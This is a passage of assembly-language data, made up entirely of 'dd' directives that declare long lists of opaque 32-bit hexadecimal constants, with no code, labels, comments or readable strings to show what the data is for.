6C093FD6h, 45702DAFh dd 38379221h, 97654866h, 33260C3Ah, 143F3133h, 0E01E1A1Ch dd 0FB863468h, 0E73367D5h, 3D732F28h, 37EA42EFh, 1316B5BDh dd 6732B595h, 0FBE9C66Dh, 32FF0531h, 1EA01D1Ah, 7473711Dh dd 0C72700CBh, 0D2AABF65h, 0B3A8232Ah, 0B235F0A8h, 0C906B54Dh dd 0FA93BD38h, 8245BCB2h, 8E31A3Dh, 0AE159F7Ah, 396567A2h dd 30EB89A7h, 2F460FA6h, 0F5B32E2Eh, 0F3BFB336h, 393CF568h dd 3D54743Bh, 4373C054h, 211F5D8Eh, 24824621h, 0A1437621h dd 282B220Ch, 0B93E2E7Ch, 24371645h, 0D81F30F2h, 7AFC3C39h dd 0DA0B3C2Ch, 0C590901Dh, 23202122h, 370261E3h, 2B702938h dd 0B61AB918h, 70068404h, 1800334h, 0CC40E18h, 7E063D12h dd 0BE256523h, 1B211027h, 1D671F36h, 2AD8134Eh, 110810h dd 790D0F13h, 0A4C0833h, 73B04E1h, 7A00382Eh, 20EA1D2Fh dd 213B210Ah, 831AB01Ch, 0AD8EE18h, 0ADF124ABh, 7D3FAE2Fh dd 6112E2F7h, 0D16A11E5h, 3D3B0B83h, 0A703272Eh, 1A2E18h dd 2ECB42FEh, 0DA5C042Eh, 0ADF220Fh, 633C4413h, 3D7112B4h dd 6B257475h, 0E6A92953h, 0F36E036Dh, 2F040F4Eh, 364C0790h dd 0A3CE0396h, 0E22A8D88h, 6EE6A67Ah, 331A60F0h, 0F596DD30h dd 6B1A3DFCh, 4E56846Ah, 20F5513Bh, 225A6008h, 2E5A552h dd 95EB5545h, 0EFD226D7h, 78936EB2h, 0F511F0B0h, 3A31A871h dd 0D2BC2F66h, 9EC05BF3h, 7224DE1Eh, 16277577h, 0A8089ED0h dd 0A0EC2B7Ah, 671C0B52h, 55C6D50h, 4BBCAF5Eh, 8D6D2983h dd 3867833Fh, 0D0021EF5h, 8421224Ch, 0F42B5672h, 0EC5EAB62h dd 64FE022Fh, 35636311h, 0AC55AB0Dh, 0CD10A87Fh, 6E6BBB38h dd 0E02ED22h, 200223C1h, 29A9E514h, 0B3829C8h, 456A382Ch dd 2031912Dh, 0AAB4225Eh, 3F5AEC36h, 2B3FDD0Dh, 5C0E9339h dd 0CEB9A0FDh, 24450349h, 5A282DC6h, 0DE2C9E29h, 6211320Ah dd 5C378714h, 72B1681Ah, 8E7518A7h, 9DDBF33Fh, 20139E70h dd 12723A2h, 0C13C2427h, 0B52D083Fh, 0D9342E08h, 3417F633h dd 3C3BA01Eh, 2ADCD6D2h, 0E4393E0Eh, 0C8191C7Bh, 682203F8h dd 2C4F8401h, 0E4C32D28h, 0F0172C1Eh, 35076331h, 0B83DE3Dh dd 3D0C3238h, 0BBD71A34h, 0B11A1C2Fh, 707A19Bh, 0ADD9D8A0h dd 2BBDA668h, 2FA0A52Fh, 0A476BB32h, 0F920B5ACh, 383AAFB0h dd 47253DD4h, 15F6E3E6h, 2210DA77h, 0FEF53144h, 4220A227h dd 686FA924h, 6F6F132Fh, 60358BB8h, 3AC6E2B4h, 0A3396BA6h dd 1A1EC0BFh, 685F5B3Bh, 5A041020h, 632F2788h, 5207BE3Ah dd 1B372D60h, 3515524Dh, 5A516531h, 3D733A52h, 594B3F26h dd 21531C1Dh, 25232224h, 6033EABFh, 2CCB2229h, 31212F2Dh dd 3435333Ah, 3BE7343Dh, 3C843939h, 0D7FB038h, 1E1F7700h dd 582262E5h, 3BE2A68Ch, 0B6EEC2Bh, 0BB2E7271h, 637CD119h dd 0CAF33165h, 0F4B97618h, 37B3FC3Dh, 5E396092h, 6277A2F7h dd 2F058D03h, 2EE7682Bh, 5F79250Bh, 0DA63390Eh, 0D3B796C8h dd 2D61393Fh, 0C13E3C7Ah, 0CA400E7Fh, 21AB1E1Ch, 61A4AE0Ah dd 0A5A51302h, 1B2C930Eh, 53B37E3Ch, 23B55F5Ah, 3B2DC864h dd 0B82D3B1Eh, 912A4AFEh, 2F1E3D99h, 4C736E21h, 0C02A2761h dd 0AC93605Ah, 7FAFA062h, 7B33A4BBh, 6A664265h, 0B43375BDh dd 44D77D4Eh, 1E261F2Ch, 2A562040h, 263060E2h, 244BA5C1h dd 28EC23EEh, 732E15B4h, 6765211Eh, 0EBFB3E8Ah, 3333B662h dd 0BE1614F8h, 0C9C9E800h, 21F627C3h, 1E322A87h, 272AEF2Eh dd 36E537EBh, 5E5FF709h, 1A964C36h, 68B93332h, 0D1D4F91h dd 0BB10F30h, 300EB370h, 0A28ED607h, 0DDD1A8C2h, 3130A32Fh dd 0ECB0031h, 0BBBC38D9h, 553F3BAAh, 31943F97h, 0A294EBB3h dd 581D7235h, 21536601h, 4CB9A1A9h, 0C8A4629Dh, 83BA1C23h dd 28DF32D5h, 0E138DC4h, 5B339E09h, 6A1E12CCh, 2BE4A22Eh dd 0A53BCD72h, 0D339EAD1h, 0C4AAC57Fh, 0D8323192h, 71BF7D2Ch dd 8B7CB428h, 4DD66D38h, 6D1C1D0Bh, 0DF20B275h, 652E32C2h dd 25115E1Eh, 0B12D2321h dd 0AF680F67h, 0F90B1570h, 5E07E209h, 0B1024804h, 1D238100h dd 2121BF1Fh, 26244723h, 191B1708h, 1D6E1B16h, 16A1F7Ch dd 5420353h, 804061Eh, 0C770A7Fh, 2D400E6Ah, 11862F7Ch dd 168213FFh, 1B7E14D3h, 1FAC19A8h, 5091DF7h, 0B7560768h dd 215774B5h, 4F575B5Fh, 1B62BF58h, 3D3E203Ch, 3005205h dd 46517E34h, 762B0B5Bh, 89AF252Ch, 68313132h, 346B5111h dd 3FDE3C3Ch, 163E9C14h, 7D35191Bh, 5040561Fh, 4227240Ah dd 104AA844h, 4D425F0Bh, 7B403044h, 57440E45h, 2DD9B521h dd 5D2ADDB0h, 35F09828h, 0C071BA5Fh, 75356D81h, 68C08346h dd 45647B22h, 0AB937C36h, 0AF874019h, 3D9834B1h, 3B56A19Ah dd 1E713E54h, 0E17BFD5Ah, 2B8D23F4h, 4585BCA1h, 1F106267h dd 991CEEEDh, 0F4008702h, 204FD06h, 0FE0F700Dh, 250A0409h dd 0A828872Ah, 8214EB16h, 26119C13h, 0FE12A110h, 0DB16C614h dd 33084608h, 37357535h, 383A9D39h, 7220AEFh, 26D4247Eh dd 1B071909h, 1F7E1D6Ah, 13AF1145h, 3A761588h, 62252C91h dd 0EBC52703h, 1213C47h, 79403CF3h, 1C1C25BFh, 1525346Ah dd 60953400h, 265DEEA3h, 38FC267Ah, 302DBDD6h, 63633F51h dd 0D16D0F65h, 0AD7DFBD8h, 9DF9DE7Ah, 277F1FDBh, 30DDA363h dd 8A2624B5h, 3DEDDAA0h, 3CCF3D1Bh, 46C33643h, 0D052E431h dd 0D9800C00h, 43B482Ch, 2C67122Fh, 13A92AC8h, 741A4525h dd 8A56639h, 0D92C7D22h, 631AF087h, 36A68C3Bh, 3A9B3669h dd 0D7926D01h, 0BE037C45h, 2685ED47h, 2475E437h, 0C9EE7852h dd 276BEB16h, 0B1353023h, 8E30F94Bh, 1A193937h, 18D53E3Bh dd 99535AF7h, 0A128193Ah, 8234323h, 250CABABh, 0ED2D6B4Dh dd 61048F1Ch, 1530B15Ah, 0B959D347h, 19B0B02Ch, 9C1A9F2Ah dd 643D9329h, 0CC732181h, 3D2F4640h, 282376BCh, 0F0542673h dd 1499DB23h, 3AA7CC3Dh, 3C34F639h, 1B303E32h, 1F111D13h dd 2C222EDFh, 28262A24h, 242A2628h, 202E222Ch, 333DCE30h dd 3739353Bh, 3B353937h, 3F313D33h, 11E21C14h, 2D212F1Fh dd 0A6642B23h, 65433A45h, 6B4D2F41h, 225BB007h, 0DE65C5B8h dd 3A50B81Bh, 6811F8B8h, 59DBD3B4h, 21603B5Eh, 46CCB26h dd 2DFA69F0h, 5C447A2Ah, 11D678AFh, 0FF7AB352h, 53BF732h dd 0D567518h, 165B669Eh, 37751035h, 0A0022861h, 0FC71B6Bh dd 0E8C32B11h, 668D2EEFh, 0DC3132F0h, 0B674C7E9h, 0DD6A0BB9h dd 0D7D73D3Dh, 0FCAC1DFEh, 0CB362520h, 0C726C798h, 0C32F29CBh dd 2FCCA080h, 0C2BD113Eh, 0ABDE3334h, 79839CAh, 0D7393DC8h dd 741DEE97h, 6C120EBh, 83D62C02h, 0D7F2BDCFh, 2D47D30Bh dd 587142C7h, 0D794F0B2h, 4FFA0374h, 6674582Dh, 59A13DBFh dd 0DE1431Fh, 1B274BC2h, 6B055964h, 0A4DFBB05h, 1FF1FA32h dd 4097F009h, 29BA38FEh, 5D0138BBh, 1A195B3Dh, 0DF1F9255h dd 243C223Eh, 2838263Ah, 2C342A36h, 30302E32h, 2B332D2Eh dd 27372935h, 563B3A39h, 233F56C2h, 1E1E5EA2h, 23228044h dd 0AE427520h, 0A82E290Dh, 7936C124h, 5937A371h, 233E5F7Bh dd 0E97B3C52h, 0CEB53A56h, 17184C03h, 23E5C84Dh, 0EE204C77h dd 1BC8C006h, 0ACDCC40Ch, 7F1DB17Eh, 263C3124h, 0D28E3932h dd 8D244CC5h, 197439C7h, 2161400Fh, 46E4F443h, 0C19CFA57h dd 81787831h, 365FF98Eh, 24007320h, 0D1683056h, 1E3B5774h dd 196A54D6h, 16731A4Dh, 261B3223h, 1972ACD6h, 2E1FC92Bh dd 982D1865h, 61FC3AE9h, 0BC1B3407h, 3E0D1E21h, 0B03D0675h dd 6A1C2F61h, 2BD21FB1h, 6116B5E6h, 0A9C214ABh, 0A42FED1Eh dd 5EF3B038h, 0A8746625h, 536A1ED8h, 4B684901h, 7B6D651Bh dd 444F4940h, 6665A44Ch, 2A282127h, 2E2F2CD4h, 0F0E2C4DEh dd 0E9653D33h, 3B39FA97h, 363DE633h, 39001AA7h, 3320FDEEh dd 2D24FA8Eh, 2961F1F2h, 2DCF2136h, 31ECC73Ch, 0E4A6F73Ah dd 0D1BE2B36h, 683D323Ah, 59EBE530h, 215AAE1Ch, 913B5E90h dd 3234736h, 2CAE357Bh, 0C82FABDDh, 353332B4h, 3BA383E3h dd 0A94B9F39h, 1A7F1E3Eh, 34B41CFEh, 0A66321A5h, 27A36924h dd 812AAC7Fh, 422EA84Eh, 0B64A31B5h, 37B3B634h, 39DAB782h dd 0BC3F3D2Bh, 4C972115h, 0CB29E19Ch, 6E3B2438h, 2B09089Fh dd 0A086FF3Ch, 69DB465Ch, 0B4653AB3h, 34B28E39h, 2E3CB83Eh dd 0D1E9B95h, 17300D88h, 27943323h, 265E992Eh, 0AD6E2922h dd 0F31CAE2Bh, 3DFF603Ah, 6E20BA76h, 7C0BCF52h, 4B8C301Ch dd 2C4E1E2h, 0A7432E2Eh, 56AE27DAh, 34DB3CCAh, 3D6DF151h dd 396D27BCh, 16E71824h, 0A915EB69h, 48733A13h, 3B6A572Ch dd 23CBAA48h, 5958A873h, 0C32E64A5h, 345EFB6Ah, 0DADA4E10h dd 6716C46Dh, 2A1AA6E8h, 9F7A3E3Dh, 7B599022h, 12F0327Fh dd 0C6464170h, 2AA96527h, 0AC9ECC66h, 0B259442Fh, 45B5504Fh dd 5F4A3737h, 32BD494Ah, 717D72B7h, 4F416F7Eh, 76855346h dd 4E5983A6h, 0E86C4444h, 584A9E0Eh, 0F5645546h, 0D8D07737h dd 0C278C4DAh, 401B9E73h, 204F4F48h, 0D9CB063Dh, 0E0AC2725h dd 0C42F28DDh, 33EF0A2Bh, 0DC1F33D0h, 32C8D2E4h, 643BBAC6h dd 50D73A98h, 0E01EE2C0h, 27E5A266h, 27D9DBA5h, 81582A28h dd 530A99A7h, 6DDAB031h, 3637F5D7h, 73CFE2Ch, 2BD42B3Dh dd 11642E64h, 30987F08h, 242EE034h, 2F3EA928h, 0C62E2C8Bh dd 20F9A2CFh, 5B34B6E0h, 0B8FF2E33h, 8724783Ah, 1981ABDh dd 20A232B2h, 8525A233h, 2888B80Dh, 0CCEFE5A1h, 0A131EF27h dd 5F305925h, 533D5D38h, 725628BAh, 1F713C54h, 43738ADh dd 962264Bh, 5643Bh, 0E4A02E7Fh, 3007ACDDh, 36E4DA35h dd 0FE363667h, 856D6A3Dh, 0DB4E4C55h, 0DFC6F59Ah, 0C366D02Bh dd 0C56B0125h, 218A75ACh, 5F5E271Ch, 0FF32D446h, 7F965640h dd 54481F59h, 8EDD87ECh, 0F853ED1Ch, 2221E1AEh, 75647427h dd 0F797B25h, 7D78292Bh, 0B050626Ah, 5F474333h, 0BB3AC843h dd 77BD3D09h, 717D6D51h, 56A37B77h, 12A45724h, 7A2F2E74h dd 3AE647Eh, 76B02BA8h, 6A1E469Ah, 0F93413B6h, 393CC427h dd 0B41F338Ch, 8E55B275h, 60332A61h, 0ED37A82Dh, 1541599h dd 3CC3AF2Dh, 34126871h, 1C83BDE8h, 0F397A25h, 0F60C12E6h dd 42DF97DCh, 6D7661E4h, 0EEA33514h, 1B1FAD27h, 4A7D0D1Fh dd 5A443142h, 62165057h, 4D385856h, 5D5FEC9Ch, 14107977h dd 4723A11Ah, 6F6CEB03h, 2A1C0774h, 231E1C05h, 5C5E7325h dd 0DB554031h, 4A406C1Ah, 1E3D065Eh, 69647E4Bh, 21547731h dd 2F294F4Fh, 0D885576h, 3FC86E93h, 24BB3A3Eh, 0C63092FEh dd 343CBC9Dh, 6939F986h, 977D2F1Ah, 42DF0B59h, 807AE20h dd 3841A4C5h, 0A6928082h, 14932BCFh, 35D25303h, 813A2BCh dd 3A5B3AD9h, 7B1B3AB1h, 0E07610FCh, 21442220h, 7979658Fh dd 0E83AEDABh, 282FA70Fh, 33DEB030h, 35363335h, 1C3A803Ah dd 6A6DFD0Fh, 935F4B4Dh, 96AAB31Fh, 2C253007h, 2B822AD4h dd 0A91A120h, 0BA31323Fh, 0B718BF31h, 3BC65044h, 2A3137B3h dd 9D1A1A3Bh, 71760B99h, 2A1C03DDh, 26282826h, 222C242Ah dd 3E30202Eh, 353B3C32h, 39373739h, 0C2F47B1Fh, 0C55BFB1Bh dd 0B8A71F1Fh, 0A12EF3D1h, 25FBFB83h, 0AB8513D8h, 0C2E721FDh dd 0C9557030h, 7DBCFA34h, 0BC74A1F1h, 0D83DEEBCh, 0F6D25091h dd 0B72370FDh, 0AA6625FAh, 29C3ED65h, 0A4202DFAh, 0DB62F175h dd 7B36349Dh, 76B7FA61h dd 0AFDD4E0h, 1C4D6A1Ah, 192F5B69h, 0CF416427h, 6A2BB605h dd 2CBBC567h, 10D80428h, 2A3236BDh, 3D3BBEDEh, 407FD53Fh dd 4DEC433Dh, 2A904EF6h, 77265203h, 4D744F76h, 457D1F0Ch dd 0F34A13C6h, 3324FB1Dh, 9B57656h, 0EDD45274h, 37AA384Eh dd 0E61DF631h, 0B2A922B1h, 782426B1h, 0BFADA021h, 897F228Dh dd 0D509AEF4h, 8C50FC5h, 0AF311B3Ah, 57D73D34h, 1F1D66F3h dd 2022B121h, 6D142624h, 0C118F61Ah, 1C222D1Eh, 2C0223h dd 6236060Ah, 0BF095F0Bh, 3F0DAD0Fh, 2A332816h, 16751454h dd 55114C23h, 801DA913h, 1AC02C1Fh, 72B04D1h, 0C350119h dd 740F3B02h, 3E0BA50Dh, 5C792C26h, 0B010C309h, 0B4652222h dd 0C9294DF4h, 0C5E2A07Ah, 0C529AF57h, 7F1D3297h, 9C58B656h dd 0FEA839C9h, 0D3F02DDh, 0C843369Dh, 0A03032E9h, 0AD7F29FEh dd 99492996h, 61632A7Fh, 649E6335h, 3C670331h, 0BD6739CBh dd 9E3C620Fh, 771D1D90h, 15232D20h, 1F061784h, 7B284304h dd 0C7E0A6BCh, 0B801F105h, 3734F0DCh, 512E1D74h, 6EE50E3Dh dd 97D3975Bh, 62BD0483h, 0E724332Bh, 0E7A2D824h, 0BE09A8EDh dd 3332300Fh, 3C7708DBh, 0E2BD0F9h, 8EC2861Ah, 1D50903Eh dd 0A844133Ah, 7B20232Fh, 3DECA426h, 2C2C1BE8h, 157C3FA3h dd 0B934F52Eh, 57D03636h, 3DB83B90h, 85D33806h, 401E5E1Dh dd 2EE30813h, 282CB641h, 462B16E5h, 18472ED2h, 353371AAh dd 38379751h, 4B3B6A3Dh, 10D0172Ah, 1F111663h, 0DC295E41h dd 588E784Ch, 98215423h, 2454BAF6h, 4532D393h, 37D7A63Fh dd 0BD8C324Dh, 344B3DFEh, 691DCE62h, 22D14914h, 592E5B4Ch dd 5429272Ch, 2552A720h, 48C7A114h, 0D0328FA5h, 0B3C538C7h dd 0EC775A0Bh, 125B343Ah, 2E20101Eh, 252BDC22h, 29272729h dd 2D232B25h, 313F2F21h, 3A4B333Dh, 1E383836h, 1C58BA74h dd 2E6F9E70h, 215E2666h, 172B6147h, 94C671C8h, 140F7A6Dh dd 5D7FE616h, 477D205h, 2F2D7636h, 0B532DDF8h, 38C56D5Fh dd 1426059Dh, 633681FFh, 25FF3DA0h, 33AB4E47h, 0CFEFA53Eh dd 0F200D13Eh, 5D6CF37h, 0F919E698h, 6D1CE41Fh, 0AE4F3A57h dd 0AF0B6C95h, 32877602h, 0EB1B48E4h, 0F4A617CBh, 1302EF1Ch dd 39351462h, 35393737h, 613D333Bh, 1D131B30h, 21291F11h dd 8ED4B642h, 0C528A68Ah, 7E2F2BAEh, 595A797Bh, 0D7DDDB43h dd 0A8B9335Ch, 2D49AA0Ah, 0F51EF932h, 0C91D3AADh, 0A333345h dd 29EC2BAFh, 16F01985h, 314CE5AFh, 23313330h, 0DAE720D4h dd 0BCF4642Fh, 5C04A200h, 9D7F3D2Ch, 67B60F61h, 27C4F3CDh dd 0C9E4C0ECh, 0C67AF12Ch, 8D32D5F6h, 0D78035D0h, 538E8138h dd 51321CCAh, 171C102Dh, 80282491h, 8A25C6A5h, 222D56CEh dd 842DC85Dh, 1232D441h, 3E11607Eh, 32FBEE96h, 6E6F2AABh dd 42C9ED7h, 6E271546h, 459AB23Dh, 7ED9ACF7h, 0AC4D95A9h dd 0B53FD028h, 0A339A379h, 42AB307h, 9901F66Bh, 0CBE4DFAEh dd 0AAF74696h, 353323A7h, 7C879B16h, 0FAEB5h, 61BD2DCDh dd 3402FFBAh, 35DF46B8h, 9DA0E29h, 0E6BDD64Dh, 0DF9A1B9Ch dd 33B7A52Fh, 24D61427h, 0CAF0C16Fh, 1C6FADC8h, 0E368A7D8h dd 0F1347613h, 72D2380Ah, 4BB63C38h, 1C59A9F3h, 1314C801h dd 4E72AC22h, 0E13FFA87h, 2B123AC3h, 0A236351Bh, 49254B2Bh dd 3E260727h, 2B22C44h, 219327B0h, 254A1633h, 8CB4CBAAh dd 0E9AD2B24h, 0CD210A5Eh, 0B821A426h, 351B2C22h, 0C23FDC36h dd 39C93AC5h, 0E31FC07Eh, 0DF1BE119h, 1827D625h, 2CD88ED5h dd 37B028D6h, 2A620953h, 7913AA70h, 751DC720h, 1FC9149Dh dd 38CFC170h, 1FFEEA51h, 0CC6F004Dh, 6A0625C5h, 32FE822h dd 0CFB55561h, 8C7F1532h, 7A1D6255h, 23DBC47Bh, 277322E7h dd 0C1D5456h, 0A3026D11h, 0D0682334h, 494B48C2h, 4B2D456Fh dd 4B37E02Eh, 36880972h, 3A5F3937h, 5B4F7F3Ah, 78687A3Fh dd 424F6D4Eh, 56572347h, 952A2767h, 682C2A2Ah, 5F515F56h dd 355A7656h, 564A5E40h, 53595654h, 68484BBEh, 4771776Fh dd 25235621h, 9722731h, 2D0B1D28h, 52E081Fh, 61153310h dd 1E163715h, 3D1A1B38h, 23E1E23h, 121F3B79h, 50282001h dd 26279F84h, 74EBD903h, 3D2EEB2Fh, 233B23C0h, 3821273Bh dd 813A3638h, 0BAB3B268h, 9C64BC2Fh, 714C7068h, 0DEB57375h dd 0A8253A9h, 4E64A2CBh, 32515A0Fh, 36362C2Eh, 1F9B8842h dd 0BB35573Dh, 19621AFFh, 7E2E2A9Ch, 10A51952h, 782B5843h dd 1C05E3A1h, 0B044C72Ch, 29C47741h, 0D9A1362h, 0D5290E2Ah dd 186C2C5Dh, 715F42BCh, 24A768ACh, 0E8A4702Ch, 0DC43A269h dd 601E2E18h, 7633E1CEh, 7F48B635h, 56414F14h, 57B23E3Eh dd 4E480938h, 0DF2434DFh, 4E220624h, 0F6EEF7Eh, 2F0E2F07h dd 32321D34h, 27368DDCh, 23FEBA3Bh, 0AD4A4D3Ch, 0CA300890h dd 0AB21721Eh, 0A1476CB7h, 3237C8A6h, 310E447Bh, 3F35926Fh dd 36E20AB2h, 0B73E7C38h, 3AB0AE2Fh, 1DBECA2Bh, 70A4968Ch dd 0A8A678DCh, 69242C22h, 0E5252B4Ah, 81242F8Fh, 65B8B8BBh dd 0B4983494h, 0BE381B26h, 6BBB655Fh, 0CB63742Ah, 260321B6h dd 2B602409h, 2E06281Dh, 0B01B2F0Ch, 3406168Dh, 38383714h dd 0C3C457BCh, 3F63B5C2h, 947801DCh, 0A31A05B4h, 267A252Bh dd 0F6618AAh, 7E3E470Ch, 33543363h, 3734194Eh, 3BB35F39h dd 0B6101968h, 1F67385Fh, 1B633E3Fh, 0FFAEDBD9h, 36C228E6h dd 2529CDEAh, 0FDF1BBF6h, 0FE06EC30h, 3A2FF904h, 0B2B03C77h dd 6CEA9A35h, 0F0209499h, 0E431C9E3h, 23232CC7h, 0E718ABFBh dd 0BC642CE8h, 17343CBEh, 0B255AA57h, 7DD3FAC3h, 4415FE2Eh dd 0E6114ECAh, 156E0AE7h, 1249981h, 7C799E38h, 71D0074Ch dd 0C3C91B52h, 57E035DAh, 0EDED3910h, 328910BEh, 4D8F7F97h dd 0C440D63h, 752DB785h, 0FB0EBDA3h, 87E7C39h, 63604930h dd 0B776148Ch, 6E3B7938h, 1F6CDCCBh, 5B4F181Bh, 6E21704Bh dd 7276306Ah, 7B652477h, 7E74782Bh, 1711752Fh, 7B303450h dd 494A2C5Eh, 0AE5C2369h, 7A6E7A21h, 204D6A32h, 4387F299h dd 5D0820E6h, 0CD1D3FE9h, 637F7FB1h, 1E985266h, 3F38FB36h dd 0D188036Ah, 0C08B3A60h, 681E561Ch, 6E6B2481h, 0C6F235Dh dd 71D7622Fh, 1B830A29h, 10312230h, 501333A5h, 58DB2A38h dd 4F373EA8h, 19023919h, 277ECD6Ah, 26B28B00h, 2A742A20h dd 3D2E2C25h, 793A3018h, 33323414h, 0F401C3Dh, 533A5594h dd 0E4C3EABh, 6D131436h, 24FED423h, 0E55A526h, 45F6717h dd 927533CFh, 49BC631h, 5C0291Dh, 3C89B711h, 7236743Dh dd 460A7034h, 0D60C0B08h, 352F1783h, 83DE2C1Ah, 2116AFDBh dd 55103442h, 13D04533h, 1D3892A2h, 52963B9Eh, 0F6F71A14h dd 742F3A92h, 222ECE74h, 242F6BF5h, 5A0A282Ch, 1771582Ch dd 520333F5h, 392B6811h, 0B31B449h, 192C6019h, 0C2CAAA38h dd 69560426h, 0B2C22674h, 0E2A52B6Dh, 42A3D974h, 13725D34h dd 6B235B18h, 7E0B309Ch, 0C8E214BAh, 0C2F7DF4Ah, 65A5A931h dd 7777773Fh, 10AF7570h, 2D76CF00h, 21352B33h, 71186937h dd 1ABD40B0h, 0E2D59817h, 6D00DF2Dh, 69043330h, 18E989D4h dd 0DD65FADDh, 303173A3h, 0CC800B95h, 5765C8C9h, 0AD59DB61h dd 971C3E33h, 239F2EBDh, 0E410AA7Eh, 0A9A1B47Bh, 2CCBEAEDh dd 0FFA965D2h, 3B333D49h, 37373935h, 333B3539h, 1B30C13Dh dd 1F111D13h, 232D212Fh dd 2729252Bh, 24D52927h, 202E222Ch, 93E3E30h, 0D2E0F26h dd 1F3A0326h, 0F041706h, 1E272A21h, 18631A23h, 1C6B1E6Bh dd 70137C27h, 48174C11h, 85D3015h, 0C4D0E41h, 0BE390249h dd 0AA07B601h, 1D268205h, 1BE425A3h, 1FF619E9h, 0C912FF26h dd 0C016CD10h, 6582F14h, 2C604D8h, 0C70F37CEh, 37043F0Dh dd 241B2F06h, 1803260Bh, 24091A03h, 721F721Dh, 0B413B811h dd 8B1162Dh, 0C990A95h, 8E0F3685h, 0F5038601h, 233FEE05h dd 27E425C9h, 31B2020h, 1E2A1C22h, 2D65A8D2h, 797D2D16h dd 0DB57B867h, 0BEED3507h, 3950C565h, 2F2C28C3h, 139E035Ah dd 0A1DE3F5Eh, 3947352Eh, 0BB3D3DD8h, 0E4BD2100h, 0BB3032AFh dd 2E20CB3Bh, 0B62B38E5h, 229C3CE9h, 1C1C1BFEh, 0B1580DBDh dd 50ACB20h, 39351EC0h, 43654668h, 5D515B5Dh, 5134565Eh dd 49487616h, 3D696749h, 2C2B0D6Ah, 7B131E29h, 4B37A720h dd 49495450h, 42234F44h, 3C2E0E59h, 3333120Bh, 0B111A20h dd 3D081C2Ch, 7C5A6C1Bh, 726B531Ch, 23504442h, 48752527h dd 242A5D4Eh, 27A53B92h, 6236BB30h, 0C32D5B7h, 2C4EB1FBh dd 6F5E4B6Ah, 66AD6CF3h, 2BA1463Dh, 4531CF35h, 28C17E20h dd 0A52C0D95h, 0BB57387Fh, 20111467h, 0EB34D062h, 0BFC2C441h dd 6804190Fh, 0D3C84A23h, 0D5154902h, 7C193F2Eh, 59EF1022h dd 0BC70AF24h, 0DD641B7Fh, 3111A45Ch, 0C83F3B82h, 0E311992Eh dd 92F676E2h, 83C902Ah, 22E43D07h, 26E96F3Fh, 3D25E50Dh dd 3EF172D9h, 98398640h, 254A426Dh, 93177D61h, 9F515B0Ah dd 2C34A025h, 3966D5A0h, 295E2FA1h, 0B4EAD3Dh, 554C5961h dd 67B61530h, 7A6A2CC7h, 773AFB18h, 9BC76954h, 2227AB14h dd 4C0D301Eh, 29897A37h, 0C42E891Fh, 5A7C04A4h, 16E55653h dd 2C3DDE67h, 2BC27469h, 0EC181EB7h, 6C32DE95h, 0E5244F32h dd 2169ACE5h, 23EDE901h, 0CE4869D6h, 0C4563730h, 7A51D7DEh dd 5F4C3C5Ah, 1B6CF805h, 0ABA0164Dh, 24435301h, 0A512A6C9h dd 7337922Dh, 14346164h, 0DC415335h, 0B22952C7h, 15733A8Eh dd 1F2B113Eh, 1EE40933h, 3EA9DE28h, 0D8741995h, 2EB532FBh dd 9F9A7DD7h, 0FC370751h, 0E39977DCh, 243E4C3Ch, 46378338h dd 11A1800h, 263E231Bh, 9E6727C2h, 40282827h, 62A02D2Bh dd 0DA01300Bh, 0C9CA190Dh, 3B395067h, 0C1BD3E3Bh, 1DD390E9h dd 649ED3F6h, 5D256B21h, 9337587h, 0CC2F2B2Dh, 73D03F6Ch dd 7D5A4732h, 36702142h, 1D6B35BFh, 0FD104A2Ch, 2013DC1Eh dd 27732320h, 0A5EFAD21h, 0CA02F5Ch, 1493A3F4h, 0F531221Dh dd 0CB3536DCh, 0BFF0B19Ch, 0E85F3DDCh, 349EDBB8h, 0D48CD300h dd 0DE0DF424h, 0DCA1E8A3h, 0EED42DA7h, 96C133D9h, 0B436FDBFh dd 9FC93AD9h, 3F3E70B7h, 1E774D1Ah, 2630481Eh, 0D92724B3h dd 5E44C9F4h, 2C2B2C72h, 2E20B037h, 66315E61h, 0A0D17061h dd 4A32BE54h, 4B49BB03h, 5541F95h, 72FDA872h, 572849ABh dd 0A44C60A7h, 35640B42h, 0B57481DAh, 0D1F5BC66h, 0EBD3AFFh dd 1EC03703h, 20DF9B1Ch, 2572A72Eh, 0BD4F2425h, 0F56A2A28h dd 312F2F26h, 3033F6B2h, 281372BCh, 3E00D70Ah, 57BBFEF8h dd 5493179Ch, 260A4B64h, 34C66044h, 24EF121Fh, 4EBF18A8h dd 3166531h, 651A7254h, 73B00F49h, 0A67A3DACh, 8E755C1Bh dd 0A22C25AEh, 2545A819h, 0A07D8387h, 768D086Fh, 6E157CA5h dd 0C6011B33h, 7A599237h, 3DFC090Ah, 0ECFF0978h, 0C2325768h dd 9A830912h, 9E2D3817h, 9A94D11Bh, 524AB91Fh, 2DC4FC44h dd 28D8068Dh, 8D0D8420h, 79C8320Fh, 0F52EAD9Dh, 0F9129496h dd 199323D6h, 29195797h, 2B501F92h, 58D323Eh, 8320D514h dd 0DBFA1586h, 306F6E3Fh, 0D16E96DBh, 0C0B8C970h, 726F520h dd 0A2BAB2Bh, 70A6103h, 622D25BDh, 0DF6567E4h, 233E2C06h dd 3B29375Ch, 11043364h, 2D212F1Fh, 0C252B23h, 2639783Ah dd 5AA67A2Bh, 9663C0Bh, 0CFBE94C0h, 0B1EC3743h, 0BE1518AFh dd 3DD59825h, 12DA94E1h, 0D759A3E2h, 0F8DF6788h, 0ADD5AA63h dd 3946362Eh, 0B4B6BB34h, 1DA4BC35h, 2CBC3A22h, 0C3F73B3h dd 66E04F4Eh, 26EFA334h, 0DBA329E7h, 0A97F02A9h, 0B37D24ADh dd 0BFC3B93Bh, 9F65B6CEh, 4F3A484Ah, 0F3F4290Ch, 2FFF324Eh dd 37C063AEh, 0E859145Dh, 0A274C160h, 1F912C0Dh, 62273221h dd 32B86515h, 0B63BD80Fh, 6AED3B2Eh, 7CEF1FC9h, 2353B368h dd 0EB38766Fh, 0B299A72h, 9CD2BA59h, 7140862Fh, 30410FDh dd 670B0405h, 0C5F0E3Bh, 2F642958h, 0AB121F9Dh, 8616BB10h dd 1B388914h, 0ED93199Eh, 1A032662h, 6700032h, 0A4D046Bh dd 0D20F3BEDh, 522F1D0Dh, 141F4A29h, 109916A6h, 282C12FFh dd 751E0E1Ch, 0B71AAF18h, 15330731h, 2E43DBB0h, 183B47BAh dd 7BDE4A3Fh, 57BE4D0Ch, 0A720C976h, 702A8366h, 0F36A3CD7h dd 0D82F2F2Ch, 6ECD2AEFh, 0C2D1B5B7h, 4F31FEBBh, 3D97DD0Fh dd 2D2ADE0Ch, 56FAA5E9h, 0D9765434h, 